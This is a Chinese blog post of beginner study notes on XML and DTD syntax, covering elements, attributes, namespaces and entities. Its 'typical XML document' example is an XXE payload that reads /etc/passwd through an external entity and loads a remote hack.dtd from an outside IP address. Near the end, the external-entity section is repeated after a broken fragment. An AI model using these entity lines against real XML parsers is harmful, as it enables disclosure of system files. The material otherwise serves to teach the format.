简单学一下XML与DTD

XML

简介

XML 即 可扩展标记语言(EXtensible Markup Language),是一种标记语言,其标签没有预定义,您需要自行定义标签,是W3C的推荐标准。其于HTML的区别是:

  • HTML 被设计用来显示数据;
  • XML 被设计用来传输和存储数据;

XML 树结构

XML 文档必须包含根元素。该元素是所有其他元素的父元素。

父、子以及同胞等术语用于描述元素之间的关系。

父元素拥有子元素。相同层级上的子元素成为同胞(兄弟或姐妹)。

所有元素均可拥有文本内容和属性(类似 HTML 中)。

<?xml version="1.0" encoding="ISO-8859-1"?>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
  • 第一行是 XML 声明。它定义 XML 的版本 (1.0) 和所使用的编码 (ISO-8859-1 = Latin-1/西欧字符集)。
  • 第二行是文档的根元素(父元素);
  • 接下来四行描述根的4个子元素(to, from, heading 以及 body);
  • 最后一行定义根元素的结尾;
  • 注释:

XML 语法规则

  • 在 XML 中,省略关闭标签是非法的。所有元素都必须有关闭标签;
  • XML 标签对大小写敏感;
  • 在 XML 中,所有元素都必须彼此正确地嵌套:
<b><i>This text is bold and italic</i></b>
在上例中,正确嵌套的意思是:由于 <i> 元素是在 <b> 元素内打开的,那么它必须在 <b> 元素内关闭。
  • 在 XML 中,XML 的属性值须加引号;
<note date="08/08/2008">

实体引用

把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。

<message>if salary < 1000 then</message>    //错误
<message>if salary &lt; 1000 then</message> //正确
用实体引用来代替 "<" 字符:

在 XML 中,有 5 个预定义的实体引用:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VWg3X9xq-1649752097614)(C:\Users\Administrator\AppData\Roaming\Typora\typora-user-images\image-20220412151710521.png)]

注释:在 XML 中,只有字符 “<” 和 “&” 确实是非法的。大于号是合法的,但是用实体引用来代替它是一个好习惯。

元素&属性

// sex 是一个属性
<person sex="female">
  <firstname>Anna</firstname>
  <lastname>Smith</lastname>
</person> 

// sex 是一个子元素
<person>
  <sex>female</sex>
  <firstname>Anna</firstname>
  <lastname>Smith</lastname>
</person> 

命名空间

//使用前缀来避免命名冲突
<h:table>
   <h:tr>
   <h:td>Apples</h:td>
   <h:td>Bananas</h:td>
   </h:tr>
</h:table>
<f:table>
   <f:name>African Coffee Table</f:name>
   <f:width>80</f:width>
   <f:length>120</f:length>
</f:table>

//使用命名空间(Namespaces)
<h:table xmlns:h="http://www.w3.org/TR/html4/">
   <h:tr>
   <h:td>Apples</h:td>
   <h:td>Bananas</h:td>
   </h:tr>
</h:table>
<f:table xmlns:f="http://www.w3school.com.cn/furniture">
   <f:name>African Coffee Table</f:name>
   <f:width>80</f:width>
   <f:length>120</f:length>
</f:table>

xmlns 属性

语法:xmlns:前缀=“URI”。

典型的XML文档

<?xml version="1.0" encoding="UTF-8" ?>                               <!--XML声明-->
<!DOCTYPE note [                                                 <!--定义此文档类型为note-->
    <!ENTITY a "admin">                                             <!--内部参数实体-->
    <!ENTITY % b "<!ENTITY b1 'awsl'>">                             <!--参数实体-->
    %b;                                                             <!--引用参数实体-->
    <!ENTITY c SYSTEM "file:///etc/passwd">                         <!--外部实体-->
    <!ENTITY % d SYSTEM "http://118.25.14.40:8200/hack.dtd">        <!--外部参数实体-->
    %d;                                                             <!--引用外部参数实体-->
]>
<note>
    &a;             <!--admin-->
    &b1;            <!--awsl-->
    &c;             <!--/etc/passwd的内容-->
    &hhh;           <!--/etc/passwd的内容-->
</note>
 
<!--http://118.25.14.40:8200/hack.dtd-->
<!ENTITY hhh SYSTEM 'file:///etc/passwd'>

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

<!DOCTYPE 根元素 [元素声明]>

例子:
<?xml version="1.0"?>
<!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to      (#PCDATA)>
  <!ELEMENT from    (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body    (#PCDATA)>
]>
<note>
  <to>George</to>
  <from>John</from>
  <heading>Reminder</heading>
  <body>Don't forget the meeting!</body>
</note>
  • !DOCTYPE note (第二行)定义此文档是 note 类型的文档。
  • !ELEMENT note (第三行)定义 note 元素有四个元素:“to、from、heading,、body”
  • !ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
  • !ELEMENT from (第五行)定义 from 元素为 “#PCDATA” 类型
  • !ELEMENT heading (第六行)定义 heading 元素为 “#PCDATA” 类型
  • !ELEMENT body (第七行)定义 body 元素为 “#PCDATA” 类型

外部文档声明

<!DOCTYPE 根元素 SYSTEM "文件名">

例子:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note> 

note.dtd
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

PCDATA

PCDATA 指的是被解析的字符数据(Parsed Character Data);

可把字符数据想象为 XML 元素的开始标签与结束标签之间的文本。

PCDATA 是会被解析器解析的文本。这些文本将被解析器检查实体以及标记。

文本中的标签会被当作标记来处理,而实体会被展开。

不过,被解析的字符数据不应当包含任何 &、< 或者 > 字符;需要使用 &、< 以及 > 实体来分别替换它们。

CDATA

CDATA 的意思是字符数据(character data)。

**CDATA 是不会被解析器解析的文本。**在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开。

元素声明

<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>

<!ELEMENT 元素名称 EMPTY>		//空元素
<br />						  //空元素输出

<!ELEMENT 元素名称 (#PCDATA)>   
//只有 PCDATA 的元素通过圆括号中的 #PCDATA 进行声明

<!ELEMENT 元素名称 ANY>  	 	
//通过类别关键词 ANY 声明的元素,可包含任何可解析数据的组合

<!ELEMENT 元素名称 (子元素名称 1)>
<!ELEMENT 元素名称 (子元素名称 1,子元素名称 2,.....)>
//带有一个或多个子元素的元素通过圆括号中的子元素名进行声明

<!ELEMENT 元素名称 (子元素名称+)>
//声明最少出现一次的元素

<!ELEMENT 元素名称 (子元素名称*)>
//声明出现零次或多次的元素

<!ELEMENT 元素名称 (子元素名称?)>
//声明出现零次或一次的元素

<!ELEMENT note (to,from,header,(message|body))>
//声明“非.../既...”类型的内容
//上面的例子声明了:"note" 元素必须包含 "to" 元素、"from" 元素、"header" 元素,以及非 "message" 元素既 "body" 元素。

<!ELEMENT note (#PCDATA|to|from|header|message)*>
//声明混合型的内容
//上面的例子声明了:"note" 元素可包含出现零次或多次的 PCDATA、"to"、"from"、"header" 或者 "message"。

属性

在 DTD 中,属性通过 ATTLIST 声明来进行声明。

声明属性

属性声明使用下列语法:

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

DTD 实例:

<!ATTLIST payment type CDATA "check">

XML 实例:

<payment type="check" />

以下是属性类型的选项:

类型描述
CDATA值为字符数据 (character data)
(en1|en2|…)此值是枚举列表中的一个值
ID值为唯一的 id
IDREF值为另外一个元素的 id
IDREFS值为其他 id 的列表
NMTOKEN值为合法的 XML 名称
NMTOKENS值为合法的 XML 名称的列表
ENTITY值是一个实体
ENTITIES值是一个实体列表
NOTATION此值是符号的名称
xml:值是一个预定义的 XML 值

默认值参数可使用下列值:

解释
属性的默认值
#REQUIRED属性值是必需的
#IMPLIED属性不是必需的
#FIXED value属性值是固定的

实体

实体是用于定义引用普通文本或特殊字符的快捷方式的变量。

实体引用是对实体的引用。

实体可在内部或外部进行声明。

内部实体

语法:

<!ENTITY 实体名称 "实体的值">

例子:

DTD 例子:

<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">

XML 例子:

<author>&writer;&copyright;</author>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉。

外部实体

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>
hor>

注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (😉。

外部实体

语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

例子:

DTD 例子:

<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">

XML 例子:

<author>&writer;&copyright;</author>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OOOOOK.2021

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值